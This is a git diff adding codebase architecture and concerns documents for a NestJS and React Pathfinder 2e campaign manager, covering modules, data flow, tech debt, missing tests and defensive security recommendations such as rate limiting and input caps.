Last session: 2026-04-27T09:17:39.142Z
|
||||
Stopped at: Phase 1 UI-SPEC approved
|
||||
Resume file: .planning/phases/01-level-up-pf2e-regelkonform/01-UI-SPEC.md
|
||||
319
.planning/codebase/ARCHITECTURE.md
Normal file
319
.planning/codebase/ARCHITECTURE.md
Normal file
@@ -0,0 +1,319 @@
|
||||
# Architecture
|
||||
|
||||
**Analysis Date:** 2026-04-27
|
||||
|
||||
## Pattern Overview
|
||||
|
||||
**Overall:** NestJS modular backend + React feature-based frontend with real-time WebSocket synchronization
|
||||
|
||||
**Key Characteristics:**
|
||||
- Modular NestJS architecture with feature-based modules (Auth, Characters, Campaigns, Equipment, Battle)
|
||||
- Feature-first React organization with shared components and hooks
|
||||
- WebSocket Gateway real-time sync for character and battle state
|
||||
- Role-based access control (ADMIN, GM, PLAYER) enforced globally
|
||||
- Prisma ORM for PostgreSQL data persistence
|
||||
- JWT-based stateless authentication
|
||||
|
||||
## Layers
|
||||
|
||||
**Backend: Controller Layer**
|
||||
- Purpose: HTTP request handling and routing
|
||||
- Location: `server/src/modules/*/[feature].controller.ts`
|
||||
- Contains: REST endpoints with decorators (@Post, @Get, @Put, @Patch, @Delete)
|
||||
- Depends on: Services, DTOs, Guards, Decorators
|
||||
- Used by: HTTP clients (React frontend)
|
||||
- Examples:
|
||||
- `server/src/modules/characters/characters.controller.ts` - Character CRUD
|
||||
- `server/src/modules/campaigns/campaigns.controller.ts` - Campaign management
|
||||
- `server/src/modules/equipment/equipment.controller.ts` - Equipment search/browse
|
||||
- `server/src/modules/auth/auth.controller.ts` - Login/Register
|
||||
|
||||
**Backend: Service Layer**
|
||||
- Purpose: Business logic, data processing, validation
|
||||
- Location: `server/src/modules/*/[feature].service.ts`
|
||||
- Contains: Methods for creating, updating, deleting entities; complex calculations
|
||||
- Depends on: PrismaService, other Services, external APIs (Claude)
|
||||
- Used by: Controllers, Gateways, other Services
|
||||
- Examples:
|
||||
- `server/src/modules/characters/characters.service.ts` - Character operations, access checks
|
||||
- `server/src/modules/characters/alchemy.service.ts` - Alchemy system logic (formulas, prepared items, vials)
|
||||
- `server/src/modules/characters/pathbuilder-import.service.ts` - Pathbuilder JSON parsing
|
||||
- `server/src/modules/equipment/equipment.service.ts` - Equipment search with filters
|
||||
- `server/src/modules/battle/battle.service.ts` - Battle session and token management
|
||||
|
||||
**Backend: Gateway Layer (WebSocket)**
|
||||
- Purpose: Real-time bidirectional communication for live updates
|
||||
- Location: `server/src/modules/*/[feature].gateway.ts`
|
||||
- Contains: Socket.io event handlers, authentication, room management
|
||||
- Depends on: JwtService, PrismaService, Services
|
||||
- Used by: React WebSocket hooks
|
||||
- Examples:
|
||||
- `server/src/modules/characters/characters.gateway.ts` - Character HP, conditions, items, alchemy real-time sync
|
||||
- `server/src/modules/battle/battle.gateway.ts` - Battle token movement, HP, initiative real-time sync
|
||||
|
||||
**Backend: Persistence Layer**
|
||||
- Purpose: Database abstraction and ORM
|
||||
- Location: `server/src/prisma/prisma.service.ts`
|
||||
- Contains: Prisma client wrapper, query interface
|
||||
- Depends on: PostgreSQL database
|
||||
- Used by: All Services
|
||||
- Data Models defined in: `server/prisma/schema.prisma`
|
||||
|
||||
**Frontend: Feature Modules**
|
||||
- Purpose: Isolated feature domains with components, hooks, types
|
||||
- Location: `client/src/features/[feature]/`
|
||||
- Contains: Components, hooks, index.ts barrel exports
|
||||
- Examples:
|
||||
- `client/src/features/auth/` - Login/Register pages, useAuthStore hook
|
||||
- `client/src/features/characters/` - Character sheet page, modals, utilities
|
||||
- `client/src/features/campaigns/` - Campaign list/detail pages
|
||||
- `client/src/features/battle/` - Battle canvas, tokens
|
||||
- `client/src/features/library/` - Battle maps, NPC templates (combatants)
|
||||
|
||||
**Frontend: Shared Layer**
|
||||
- Purpose: Reusable components, hooks, utilities, types across features
|
||||
- Location: `client/src/shared/`
|
||||
- Contains:
|
||||
- Components: `ui/` (shadcn/ui), `layout.tsx`, `protected-route.tsx`
|
||||
- Hooks: `use-character-socket.ts`, `use-battle-socket.ts`
|
||||
- Lib: `api.ts` (API client), `utils.ts` (helpers)
|
||||
- Types: `index.ts` (all TypeScript interfaces)
|
||||
- Used by: All features
|
||||
|
||||
**Frontend: Router**
|
||||
- Purpose: Navigation and route protection
|
||||
- Location: `client/src/App.tsx`
|
||||
- Contains: React Router v6 routes, protected route wrapper
|
||||
- Depends on: React Router, Feature components
|
||||
- Entry point: `client/src/main.tsx`
|
||||
|
||||
**Frontend: State Management**
|
||||
- Purpose: Client-side state persistence
|
||||
- Location: `client/src/features/auth/hooks/use-auth-store.ts`
|
||||
- Contains: Zustand store for authentication state
|
||||
- Used by: Auth-related components, ProtectedRoute
|
||||
|
||||
## Data Flow
|
||||
|
||||
### Character Update (Real-Time WebSocket Sync)
|
||||
|
||||
1. **User Action** (React Component)
|
||||
- User damages character in `client/src/features/characters/components/hp-control.tsx`
|
||||
- Calls `api.updateCharacterHp()` → PATCH `/campaigns/:id/characters/:id/hp`
|
||||
|
||||
2. **Controller** (`server/src/modules/characters/characters.controller.ts`)
|
||||
- Receives HTTP request
|
||||
- Validates JWT token via `JwtAuthGuard`
|
||||
- Calls `CharactersService.updateHp()`
|
||||
|
||||
3. **Service** (`server/src/modules/characters/characters.service.ts`)
|
||||
- Checks campaign access (GM or campaign member)
|
||||
- Checks character ownership (owner or GM can edit)
|
||||
- Updates character HP in Prisma
|
||||
- Emits WebSocket event via `CharactersGateway.broadcast()`
|
||||
|
||||
4. **Gateway Broadcast** (`server/src/modules/characters/characters.gateway.ts`)
|
||||
- Broadcasts `character_update` event to all clients in character room
|
||||
- Update type: `'hp'`
|
||||
- Payload: `{ hpCurrent, hpTemp, hpMax }`
|
||||
|
||||
5. **Client Socket Hook** (`client/src/shared/hooks/use-character-socket.ts`)
|
||||
- Listens for `character_update` event
|
||||
- Routes to appropriate callback: `onHpUpdate?.(data)`
|
||||
- Component state updates via React state
|
||||
|
||||
6. **Component Re-render**
|
||||
- Character sheet displays new HP values
|
||||
- All other connected clients see update in real-time
|
||||
|
||||
### Equipment Database Search
|
||||
|
||||
1. **User Search** (React Component)
|
||||
- User searches equipment in `client/src/features/characters/components/add-item-modal.tsx`
|
||||
- Calls `api.searchEquipment({ query, category, filters, page, limit })`
|
||||
|
||||
2. **Controller** (`server/src/modules/equipment/equipment.controller.ts`)
|
||||
- Receives GET `/equipment` with query params
|
||||
- Calls `EquipmentService.search()`
|
||||
|
||||
3. **Service** (`server/src/modules/equipment/equipment.service.ts`)
|
||||
- Builds Prisma where clause from filters
|
||||
- Queries Equipment table (5,482 items)
|
||||
- Returns paginated results with pagination metadata
|
||||
- Includes category list for UI dropdown
|
||||
|
||||
4. **Component Display**
|
||||
- Results displayed with pagination controls
|
||||
- User can view equipment details, add to inventory
|
||||
- New item created via `api.addCharacterItem()`
|
||||
|
||||
### Character Creation (Pathbuilder Import)
|
||||
|
||||
1. **User Upload** (React Component)
|
||||
- User uploads Pathbuilder JSON in `client/src/features/characters/components/import-character-modal.tsx`
|
||||
- Calls `api.importCharacterFromPathbuilder(pathbuilderJson)`
|
||||
|
||||
2. **Controller** (`server/src/modules/characters/characters.controller.ts`)
|
||||
- POST `/campaigns/:id/characters/import`
|
||||
- Calls `PathbuilderImportService.importCharacter()`
|
||||
|
||||
3. **Pathbuilder Import Service** (`server/src/modules/characters/pathbuilder-import.service.ts`)
|
||||
- Parses Pathbuilder JSON structure
|
||||
- Extracts abilities, skills, feats, spells
|
||||
- Creates Character with all related entities (CharacterAbility, CharacterSkill, etc.)
|
||||
- Stores raw pathbuilderData for future reference
|
||||
|
||||
4. **Database Persistence**
|
||||
- Character created with all nested relations
|
||||
- Each skill, feat, spell stored as separate records
|
||||
- Character ready for real-time sync
|
||||
|
||||
### Battle Session Synchronization
|
||||
|
||||
1. **Token Movement** (React Component)
|
||||
- User drags token on battle canvas
|
||||
- Calls `api.moveBattleToken(positionX, positionY)`
|
||||
|
||||
2. **Battle Gateway** (`server/src/modules/battle/battle.gateway.ts`)
|
||||
- Receives movement update
|
||||
- Broadcasts `battle_update` event with type `'token_moved'`
|
||||
- All clients in session room receive update
|
||||
|
||||
3. **Client Display**
|
||||
- All participants see token at new position
|
||||
- No UI lag — updates are instant
|
||||
|
||||
### Alchemy System State
|
||||
|
||||
1. **Prepare Items** (React Component)
|
||||
- User selects formulas to prepare daily in `client/src/features/characters/components/alchemy-tab.tsx`
|
||||
- Calls `api.dailyPreparation(items)`
|
||||
|
||||
2. **Alchemy Service** (`server/src/modules/characters/alchemy.service.ts`)
|
||||
- Validates character has formulas
|
||||
- Creates CharacterPreparedItem records
|
||||
- Updates CharacterAlchemyState (versatileVialsCurrent, advancedAlchemyMax)
|
||||
- Emits WebSocket `alchemy_prepared` and `alchemy_state` updates
|
||||
|
||||
3. **Real-Time Sync**
|
||||
- UI updates showing prepared items and vial tracker
|
||||
- Ready for combat use
|
||||
|
||||
## Key Abstractions
|
||||
|
||||
**Prisma ORM Service:**
|
||||
- Purpose: Database abstraction, query builder
|
||||
- Location: `server/src/prisma/prisma.service.ts`
|
||||
- Pattern: Singleton service injected into all modules
|
||||
- Used for: All CRUD operations, complex queries with relations
|
||||
|
||||
**JWT Strategy & Guards:**
|
||||
- Purpose: Authentication and authorization
|
||||
- Location:
|
||||
- `server/src/modules/auth/strategies/jwt.strategy.ts` - JWT validation
|
||||
- `server/src/modules/auth/guards/jwt-auth.guard.ts` - Global auth enforcement
|
||||
- `server/src/modules/auth/guards/roles.guard.ts` - Role-based access control
|
||||
- Pattern: NestJS guards executed globally on every request
|
||||
- Metadata: `@Roles()` and `@Public()` decorators control per-endpoint behavior
|
||||
|
||||
**API Client Service:**
|
||||
- Purpose: HTTP communication abstraction
|
||||
- Location: `client/src/shared/lib/api.ts`
|
||||
- Pattern: Singleton class with axios instance
|
||||
- Features: Token management, auto-retry, auth interceptors, 401 handling
|
||||
|
||||
**WebSocket Socket Manager:**
|
||||
- Purpose: Prevent duplicate connections, manage subscriptions
|
||||
- Location: `client/src/shared/hooks/use-character-socket.ts`
|
||||
- Pattern: Global socket singleton with ref counting
|
||||
- Features: Auto-reconnect, polling fallback, room subscription
|
||||
|
||||
**Character/Battle Update Types:**
|
||||
- Purpose: Type-safe event dispatch
|
||||
- Location:
|
||||
- `server/src/modules/characters/characters.gateway.ts` (CharacterUpdatePayload)
|
||||
- `server/src/modules/battle/battle.gateway.ts` (BattleUpdatePayload)
|
||||
- Pattern: Union types for event kind discrimination
|
||||
|
||||
## Entry Points
|
||||
|
||||
**Server Entry:**
|
||||
- Location: `server/src/main.ts`
|
||||
- Triggers: `npm run start:dev` or deployed container startup
|
||||
- Responsibilities:
|
||||
- Create NestJS app from AppModule
|
||||
- Enable global pipes (ValidationPipe)
|
||||
- Configure CORS from env
|
||||
- Setup Swagger API docs at `/api/docs`
|
||||
- Listen on PORT (default 5000)
|
||||
|
||||
**Client Entry:**
|
||||
- Location: `client/src/main.tsx`
|
||||
- Triggers: Browser page load or `npm run dev`
|
||||
- Responsibilities:
|
||||
- Render React app into #root DOM element
|
||||
- Wrap with StrictMode
|
||||
|
||||
**Router:**
|
||||
- Location: `client/src/App.tsx`
|
||||
- Pattern: React Router v6 with protected routes
|
||||
- Flow:
|
||||
1. QueryClientProvider (React Query setup)
|
||||
2. BrowserRouter (React Router)
|
||||
3. AppContent checks auth state
|
||||
4. Public routes: /login, /register
|
||||
5. Protected routes: / (campaigns), /campaigns/:id, /campaigns/:id/characters/:characterId, /campaigns/:id/battle, /campaigns/:id/library
|
||||
6. ProtectedRoute wrapper ensures authentication
|
||||
|
||||
## Error Handling
|
||||
|
||||
**Strategy:** Structured error responses with HTTP status codes
|
||||
|
||||
**Backend Patterns:**
|
||||
- `NotFoundException` - 404 when entity not found
|
||||
- `ForbiddenException` - 403 when user lacks permission
|
||||
- `BadRequestException` - 400 for invalid input
|
||||
- `UnauthorizedException` - 401 for auth failures
|
||||
- Global error filter could be added for consistent formatting
|
||||
- Service methods validate access before querying: `checkCampaignAccess()`, `checkCharacterAccess()`
|
||||
|
||||
**Frontend Patterns:**
|
||||
- API client `response.interceptors` catches 401 → redirects to /login
|
||||
- Components wrapped in error boundaries (future enhancement)
|
||||
- Failed requests return rejected promises to component
|
||||
|
||||
**WebSocket Patterns:**
|
||||
- Token verification on connection → disconnect if invalid
|
||||
- No structured error responses; silent failures with console logging
|
||||
- Clients auto-reconnect via socket.io configuration
|
||||
|
||||
## Cross-Cutting Concerns
|
||||
|
||||
**Logging:**
|
||||
- Backend: NestJS Logger class used in services/gateways
|
||||
- Frontend: Console.log for development (socket.io events log connection state)
|
||||
|
||||
**Validation:**
|
||||
- Backend: Global ValidationPipe with DTOs (class-validator)
|
||||
- Frontend: Form validation in components (manual checks in modals)
|
||||
- Prisma schema enforces constraints (NOT NULL, unique, enums)
|
||||
|
||||
**Authentication:**
|
||||
- Backend: JwtAuthGuard applied globally in app.module.ts
|
||||
- Endpoints opt-out via @Public() decorator
|
||||
- WebSocket: Token verified in gateway.handleConnection()
|
||||
- Frontend: Token stored in localStorage (persistent) or sessionStorage (session-only)
|
||||
|
||||
**Authorization:**
|
||||
- Backend: RolesGuard checks @Roles() metadata
|
||||
- Service methods verify campaign/character ownership before allowing operations
|
||||
- Pattern: Check campaign membership → check character ownership → allow operation
|
||||
|
||||
**Real-Time Sync:**
|
||||
- WebSocket Gateway manages rooms (one room per character/session)
|
||||
- Clients join room on component mount, leave on unmount
|
||||
- Broadcasts to all clients in room except sender (optional)
|
||||
|
||||
---
|
||||
|
||||
*Architecture analysis: 2026-04-27*
|
||||
509
.planning/codebase/CONCERNS.md
Normal file
509
.planning/codebase/CONCERNS.md
Normal file
@@ -0,0 +1,509 @@
|
||||
# Codebase Concerns
|
||||
|
||||
**Analysis Date:** 2026-04-27
|
||||
|
||||
## Tech Debt
|
||||
|
||||
### Debug Console Logging in Production Code
|
||||
|
||||
**Issue:** Production code contains debug console.log statements that should be removed before deployment
|
||||
|
||||
**Files:**
|
||||
- `server/src/modules/characters/characters.service.ts` (4 console.log statements in updateHp method, lines 263, 283, 303, 310)
|
||||
- `client/src/features/battle/hooks/use-battle-socket.ts` (3 console.log statements)
|
||||
- `client/src/features/characters/components/alchemy-tab.tsx` (3 console.log statements)
|
||||
- `client/src/features/characters/components/character-sheet-page.tsx` (1 console.log statement)
|
||||
- `client/src/shared/hooks/use-character-socket.ts` (4 console.log statements)
|
||||
|
||||
**Impact:** Exposes internal logic and data in browser/server console. Can leak sensitive information and degrade performance in high-volume operations.
|
||||
|
||||
**Fix approach:** Implement proper structured logging (Winston, Pino, or similar) for development vs. production environments. Remove or replace all console.log statements with conditional logging.
|
||||
|
||||
---
|
||||
|
||||
### N+1 Query Problem in Character Details Endpoint
|
||||
|
||||
**Issue:** The findOne method in CharactersService performs multiple sequential async API calls for translation enrichment, causing N+1 query pattern
|
||||
|
||||
**Files:** `server/src/modules/characters/characters.service.ts` (lines 186-222)
|
||||
|
||||
**Problem Details:**
|
||||
- Fetches items, formulas, and preparedItems from database (3 queries)
|
||||
- For EACH item, formula, and prepared item, calls `enrichEquipmentWithTranslations()` which queries the Translations table or Claude API
|
||||
- If a character has 50 items, this results in 50+ additional Prisma queries (or Claude API calls)
|
||||
|
||||
**Impact:** Dramatically slow character sheet loading. Creates rate-limiting pressure on Claude API. Potential timeout on high-inventory characters.
|
||||
|
||||
**Fix approach:**
|
||||
1. Use Prisma's `include` to load equipment relationships in the initial query
|
||||
2. Batch translation lookups: collect all unique equipment IDs, translate in one batch, then merge results
|
||||
3. Consider caching translations at the service layer for repeated requests
|
||||
|
||||
---
|
||||
|
||||
### Oversized Service Class
|
||||
|
||||
**Issue:** CharactersService is 1,454 lines - violates single responsibility principle and makes testing difficult
|
||||
|
||||
**Files:** `server/src/modules/characters/characters.service.ts`
|
||||
|
||||
**Contains:**
|
||||
- Character CRUD operations
|
||||
- HP management with dying/wounded condition logic
|
||||
- Item management
|
||||
- Condition management
|
||||
- Resource management
|
||||
- Rest system logic
|
||||
- Alchemy system logic (vials, formulas, prepared items)
|
||||
- Multiple helper methods (getDyingConditions, getDeathThreshold, etc.)
|
||||
|
||||
**Impact:** Hard to locate code, difficult to test individual features, increased risk of bugs when modifying one feature affecting another.
|
||||
|
||||
**Fix approach:** Split into multiple focused services:
|
||||
- `CharactersCoreService` - CRUD operations
|
||||
- `CharacterHpService` - HP and dying/wounded logic
|
||||
- `CharacterAlchemyService` - Alchemy system
|
||||
- `CharacterRestService` - Rest and recovery logic
|
||||
|
||||
---
|
||||
|
||||
## Known Issues
|
||||
|
||||
### Missing Level-Up System
|
||||
|
||||
**Issue:** Level progression is mentioned in CLAUDE.md as "Noch zu implementieren" but no implementation exists
|
||||
|
||||
**Files:** No implementation - feature completely absent
|
||||
|
||||
**Impact:** Cannot advance character levels, blocking career progression mechanic.
|
||||
|
||||
**Workaround:** Level can be updated via direct database manipulation or API patching, but no UI or validation logic.
|
||||
|
||||
**Priority:** High - Critical gameplay feature
|
||||
|
||||
---
|
||||
|
||||
### Unused equipmentlevel.json File at Project Root
|
||||
|
||||
**Issue:** File `equipmentlevel.json` (250KB+) exists at project root but is not referenced by any code
|
||||
|
||||
**Files:** `/c/Users/ZielonkaA/Documents/Dimension-47/equipmentlevel.json`
|
||||
|
||||
**Impact:**
|
||||
- Takes up disk space
|
||||
- Ignored by git, clogs project root
|
||||
- Suggests abandoned equipment import/level-mapping system
|
||||
- Unknown purpose - may be partial/corrupted data
|
||||
|
||||
**Fix approach:**
|
||||
1. Determine original purpose (equipment level mapping?)
|
||||
2. Either integrate into equipment seed system or delete
|
||||
3. Check git history to understand why it was abandoned
|
||||
|
||||
---
|
||||
|
||||
## Security Considerations
|
||||
|
||||
### WebSocket Gateway Authentication is Minimal
|
||||
|
||||
**Issue:** Token validation in WebSocket connection handler is basic but lacks some best practices
|
||||
|
||||
**Files:** `server/src/modules/characters/characters.gateway.ts` (lines 60-93)
|
||||
|
||||
**Current implementation:**
|
||||
- Extracts token from `client.handshake.auth.token` or Authorization header
|
||||
- Verifies token signature with JWT_SECRET
|
||||
- Verifies user exists in database
|
||||
- No rate limiting on connection attempts
|
||||
- No IP whitelisting or additional authentication layers
|
||||
|
||||
**Potential risks:**
|
||||
- Rapid connection attempts could brute-force token validation or create connection storms
|
||||
- No tracking of legitimate vs. malicious connection attempts
|
||||
- Token rotation/revocation not supported (token valid until expiry)
|
||||
|
||||
**Recommendations:**
|
||||
1. Implement connection rate limiting per IP/user
|
||||
2. Add token revocation mechanism
|
||||
3. Consider requiring additional re-authentication for sensitive operations
|
||||
4. Log suspicious connection patterns
|
||||
|
||||
---
|
||||
|
||||
### Input Validation on Equipment Search Query
|
||||
|
||||
**Issue:** Equipment search endpoint accepts query parameters without upper bounds, potentially enabling resource exhaustion
|
||||
|
||||
**Files:** `server/src/modules/equipment/equipment.controller.ts` (lines 23-42)
|
||||
|
||||
**Current implementation:**
|
||||
- Takes `limit` parameter (defaults to 50, user-configurable)
|
||||
- No maximum limit enforced
|
||||
- Accepts large pagination page numbers
|
||||
- `traits` parameter is comma-separated without validation on count
|
||||
|
||||
**Potential risks:**
|
||||
- `?limit=999999999` could cause OOM or timeout
|
||||
- `?page=999999999999` could overflow internal calculations
|
||||
- Unbounded trait queries could cause DoS
|
||||
|
||||
**Fix approach:**
|
||||
1. Set hard maximum limits: `limit` ≤ 500, `page` ≤ 10000
|
||||
2. Validate and cap traits array length ≤ 50
|
||||
3. Implement pagination cursor-based approach instead of offset-based
|
||||
4. Add rate limiting per user/IP on search endpoint
|
||||
|
||||
---
|
||||
|
||||
### CORS Configuration Overly Permissive in Development
|
||||
|
||||
**Issue:** Development CORS allows all localhost origins, which is standard but could leak requests to unintended local services
|
||||
|
||||
**Files:** `server/src/main.ts` (lines 26-47)
|
||||
|
||||
**Current implementation:**
|
||||
```typescript
|
||||
if (nodeEnv === 'development' && /^https?:\/\/localhost(:\d+)?$/.test(origin)) {
|
||||
return callback(null, true);
|
||||
}
|
||||
```
|
||||
|
||||
**Impact:** Any localhost service can make cross-origin requests to the API. Low risk in pure development, but could leak credentials or data if other services run on localhost.
|
||||
|
||||
**Fix approach:** In development, explicitly list expected origins (e.g., `http://localhost:5173`) rather than wildcard localhost.
|
||||
|
||||
---
|
||||
|
||||
## Performance Bottlenecks
|
||||
|
||||
### Equipment Database with 5,482 Items - Unindexed Search
|
||||
|
||||
**Issue:** Full-text search on Equipment table lacks proper indexing for performance
|
||||
|
||||
**Files:**
|
||||
- `server/src/modules/equipment/equipment.service.ts` (search implementation)
|
||||
- `server/prisma/schema.prisma` (Equipment model definition)
|
||||
- `server/prisma/seed-equipment.ts` (5,482 items)
|
||||
|
||||
**Current queries use:**
|
||||
- `.contains()` filters on `name`, `summary`, `effect` fields
|
||||
- No full-text search index
|
||||
- No composite indexes for common filter combinations
|
||||
|
||||
**Impact:**
|
||||
- Search queries on large equipment set may be slow
|
||||
- If multiple users search simultaneously, database load spikes
|
||||
- Trait filtering requires collection of all results then filtering in application code (N+1 pattern with filters)
|
||||
|
||||
**Improvement path:**
|
||||
1. Add PostgreSQL `@@@` full-text search with tsvector indexes
|
||||
2. Add composite indexes: `(category, itemCategory)`, `(level, name)`
|
||||
3. Use Prisma's `findRaw` for complex searches with proper SQL optimization
|
||||
4. Consider search caching with Redis for common queries
|
||||
|
||||
---
|
||||
|
||||
### Translation Caching at Item Retrieval Time
|
||||
|
||||
**Issue:** Translations are fetched on-demand during character detail retrieval, causing repeated Claude API calls for same items
|
||||
|
||||
**Files:** `server/src/modules/characters/characters.service.ts` (lines 126-147, 186-222)
|
||||
|
||||
**Current behavior:**
|
||||
- First time a character's item is viewed: cache miss, Claude API called
|
||||
- If multiple characters have same item: Claude API called multiple times
|
||||
- No cache invalidation strategy or TTL
|
||||
|
||||
**Impact:**
|
||||
- Increased Claude API costs and latency
|
||||
- Rate limiting pressure if many characters queried
|
||||
- Slow character sheet loads
|
||||
|
||||
**Fix approach:**
|
||||
1. Pre-cache translations for common items at server startup
|
||||
2. Implement TTL-based cache expiration (e.g., 30 days)
|
||||
3. Batch missing translations when loading characters with multiple items
|
||||
4. Cache at equipment level, not at character level
|
||||
|
||||
---
|
||||
|
||||
## Fragile Areas
|
||||
|
||||
### Character Death/Resurrection State Management
|
||||
|
||||
**Issue:** Dying/Wounded conditions interact with HP changes in complex ways that could have race conditions
|
||||
|
||||
**Files:** `server/src/modules/characters/characters.service.ts` (lines 262-406)
|
||||
|
||||
**Fragile interactions:**
|
||||
- When HP drops to 0: checks Wounded/Doomed values, calculates Dying value, adds/updates condition, broadcasts update
|
||||
- When HP increases from 0: removes Dying, adds/increments Wounded, broadcasts update
|
||||
- Multiple async operations between checking and updating
|
||||
- No transaction wrapping
|
||||
|
||||
**Risks:**
|
||||
- If two updates happen simultaneously (WebSocket + rest endpoint), conditions could get corrupted
|
||||
- Wounded value calculation depends on database state that could change between read and write
|
||||
- Broadcasting happens after database update, potential sync issues if broadcast fails
|
||||
|
||||
**Safe modification:**
|
||||
1. Wrap Dying/Wounded logic in Prisma transaction
|
||||
2. Add optimistic locking (version field) to Character model
|
||||
3. Consolidate HP update and condition management into single atomic operation
|
||||
4. Test scenarios: multiple simultaneous HP changes, network race conditions
|
||||
|
||||
**Test coverage:** Currently untested (no test files in server codebase)
|
||||
|
||||
---
|
||||
|
||||
### Alchemy System State Consistency
|
||||
|
||||
**Issue:** Alchemy state (vials, formulas, prepared items) spans multiple database models with complex interdependencies
|
||||
|
||||
**Files:**
|
||||
- `server/src/modules/characters/characters.service.ts` (alchemy methods ~200+ lines)
|
||||
- `server/prisma/schema.prisma` (CharacterAlchemyState, CharacterFormula, CharacterPreparedItem, CharacterResource)
|
||||
|
||||
**Fragile points:**
|
||||
- Prepared items created by `createPreparedItem()` with `isInfused: true`, then deleted by rest system
|
||||
- Versatile vials count stored in CharacterAlchemyState but actual vials tracked in CharacterResource
|
||||
- Formula learning updates both CharacterFormula and CharacterResource
|
||||
- No constraint ensuring consistency between these tables
|
||||
|
||||
**Risk:** Orphaned records, inconsistent vial counts, invalid formula states
|
||||
|
||||
**Safe modification:**
|
||||
1. Add unique constraint validation in service methods
|
||||
2. Use Prisma transactions for multi-table alchemy operations
|
||||
3. Add data integrity checks in rest system
|
||||
4. Create migration to validate existing data
|
||||
|
||||
---
|
||||
|
||||
## Test Coverage Gaps
|
||||
|
||||
### No Backend Tests
|
||||
|
||||
**Issue:** Server codebase has zero test files - all business logic untested
|
||||
|
||||
**Files:**
|
||||
- `server/src/` directory contains no `.test.ts` or `.spec.ts` files
|
||||
- Test infrastructure exists (Jest, @nestjs/testing configured) but unused
|
||||
|
||||
**Untested functionality:**
|
||||
- Authentication and authorization guards
|
||||
- Character CRUD with access control
|
||||
- HP updates with Dying/Wounded condition logic (most critical)
|
||||
- Rest system with conditional resource resets
|
||||
- Alchemy system with formula learning and vial tracking
|
||||
- WebSocket message handlers (race conditions, auth)
|
||||
- Equipment search with filtering
|
||||
|
||||
**Priority areas for testing:**
|
||||
1. Character death/resurrection state transitions (HIGH - bug risk)
|
||||
2. Authentication guards on protected endpoints (HIGH - security)
|
||||
3. Access control: ensure players can't edit others' characters (HIGH - security)
|
||||
4. Rest system calculations with various ability scores (MEDIUM)
|
||||
5. Alchemy vial/formula consistency (MEDIUM)
|
||||
|
||||
**Fix approach:**
|
||||
1. Create test files for each module: `auth.service.spec.ts`, `characters.service.spec.ts`, etc.
|
||||
2. Start with authentication and authorization tests (security-critical)
|
||||
3. Add tests for HP/Dying state transitions (highest bug risk)
|
||||
4. Use Prisma's test database pattern for integration tests
|
||||
|
||||
---
|
||||
|
||||
### No Frontend Tests
|
||||
|
||||
**Issue:** Client codebase has zero test files - no component or hook testing
|
||||
|
||||
**Files:**
|
||||
- `client/src/` directory contains no `.test.tsx` or `.spec.tsx` files
|
||||
- Test infrastructure missing (no Jest/Vitest config, no testing-library)
|
||||
|
||||
**Untested components:**
|
||||
- Character sheet tabs (Inventory, Alchemy, Actions, Talents)
|
||||
- HP control component with temporary/current/max interactions
|
||||
- Condition management modal
|
||||
- Rest modal with preview calculation
|
||||
- WebSocket hooks for real-time sync
|
||||
- Item search and filtering UI
|
||||
|
||||
**Impact:** Cannot verify UI correctly reflects data, no regression protection, refactoring is risky
|
||||
|
||||
**Fix approach:**
|
||||
1. Install Vitest + React Testing Library
|
||||
2. Create test files for critical components: HP control, Rest modal, Item search
|
||||
3. Test WebSocket connection/disconnection handling
|
||||
4. Add snapshot tests for data-heavy components (character sheet)
|
||||
|
||||
---
|
||||
|
||||
## Missing Critical Features
|
||||
|
||||
### Level-Up System
|
||||
|
||||
**Issue:** Character advancement is incomplete
|
||||
|
||||
**Problem:**
|
||||
- Level field exists in database and UI, but no level-up mechanics
|
||||
- Cannot allocate ability score increases at certain levels
|
||||
- Cannot select new feats when leveling
|
||||
- Cannot add/remove skills when leveling
|
||||
|
||||
**Files:** No implementation exists
|
||||
|
||||
**Blocks:** Full character progression gameplay
|
||||
|
||||
---
|
||||
|
||||
## Dependencies at Risk
|
||||
|
||||
### Claude API Integration as Critical Path
|
||||
|
||||
**Issue:** German translation system depends on Claude API for on-demand translation calls
|
||||
|
||||
**Files:**
|
||||
- `server/src/modules/claude/claude.service.ts`
|
||||
- `server/src/modules/translations/translations.service.ts`
|
||||
|
||||
**Risk points:**
|
||||
1. No fallback if API is unavailable - character sheets fail to load with translations
|
||||
2. Rate limiting: high-traffic scenarios could hit Claude API limits
|
||||
3. Cost: unbounded - every unique item/feat/spell triggers an API call
|
||||
4. Latency: API calls on the critical path of character sheet loading (3+ second potential delay)
|
||||
|
||||
**Migration plan:**
|
||||
1. Pre-populate translations for all 5,482 equipment items on server startup
|
||||
2. Batch translate feats/spells during seeding
|
||||
3. Use Claude API only for user-created custom items
|
||||
4. Cache everything in database with TTL
|
||||
5. Implement graceful degradation: show English names if translation fails
|
||||
|
||||
---
|
||||
|
||||
### Prisma 7.2.0 - Check for Security/Critical Updates
|
||||
|
||||
**Files:**
|
||||
- `server/package.json` - `@prisma/client: ^7.2.0`
|
||||
- `server/prisma/schema.prisma` - Using latest client
|
||||
|
||||
**Note:** Version is recent (January 2025+) but "^" allows minor updates. Monitor for critical patches in Prisma security advisories.
|
||||
|
||||
---
|
||||
|
||||
## Scaling Limits
|
||||
|
||||
### Equipment Search at 5,482 items
|
||||
|
||||
**Current capacity:** Linear search with `.contains()` filters
|
||||
|
||||
**Limit:** Performance degrades beyond ~10,000 items, potential timeout at 50,000+
|
||||
|
||||
**Scaling path:**
|
||||
1. Add PostgreSQL full-text search indexes (supports millions of items)
|
||||
2. Implement search result caching
|
||||
3. Consider Elasticsearch if full-text becomes bottleneck
|
||||
4. Pagination already uses `take/skip`, good foundation
|
||||
|
||||
---
|
||||
|
||||
### WebSocket Connections per Campaign
|
||||
|
||||
**Issue:** No connection pooling limits, no per-campaign connection quota
|
||||
|
||||
**Files:** `server/src/modules/characters/characters.gateway.ts`
|
||||
|
||||
**Current behavior:**
|
||||
- Each connection stores socket in `connectedClients` Map
|
||||
- Broadcasts go to all sockets in character room
|
||||
- No limits on concurrent connections per campaign or globally
|
||||
|
||||
**Potential issue:** If campaign has 100 characters and each has 10 connected users watching, that's 1,000 broadcast operations per update. At scale this causes CPU/memory pressure.
|
||||
|
||||
**Scaling recommendations:**
|
||||
1. Set max connections per campaign (e.g., 500)
|
||||
2. Implement connection pooling/groups (watch list vs. active participants)
|
||||
3. Use socket.io's built-in room management more aggressively
|
||||
4. Monitor memory usage of `connectedClients` Map for leaks
|
||||
|
||||
---
|
||||
|
||||
## Database Schema Concerns
|
||||
|
||||
